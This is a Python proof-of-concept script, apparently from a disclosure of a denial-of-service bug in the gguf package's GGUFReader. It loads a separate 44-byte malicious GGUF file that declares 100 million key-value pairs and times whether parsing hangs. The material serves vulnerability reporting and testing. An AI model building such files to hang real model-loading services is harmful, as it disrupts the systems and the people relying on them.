""" PoC: GGUF Python reader DoS via missing bounds checks. A 44-byte malicious GGUF file declares 100 million key-value pairs, causing GGUFReader to hang indefinitely. Usage: python reproduce.py """ import sys import time import os # Add gguf-py to path if installed from source # sys.path.insert(0, '/path/to/llama.cpp/gguf-py') try: from gguf.gguf_reader import GGUFReader except ImportError: print("Error: gguf package not installed. Install with: pip install gguf") sys.exit(1) # Path to the malicious GGUF file (same directory as this script) poc_file = os.path.join(os.path.dirname(__file__), "malicious_gguf.gguf") if not os.path.exists(poc_file): print(f"Error: PoC file not found at {poc_file}") sys.exit(1) print(f"File size: {os.path.getsize(poc_file)} bytes") print("Attempting to parse... (this will hang if vulnerable)") print("Press Ctrl+C to abort after a few seconds.\n") start = time.time() try: reader = GGUFReader(poc_file) elapsed = time.time() - start print(f"Parsed successfully in {elapsed:.1f}s (unexpected -- may be patched)") print(f"Fields: {len(reader.fields)}") except MemoryError as e: elapsed = time.time() - start print(f"MemoryError after {elapsed:.1f}s: {e}") except Exception as e: elapsed = time.time() - start print(f"Error after {elapsed:.1f}s: {type(e).__name__}: {e}")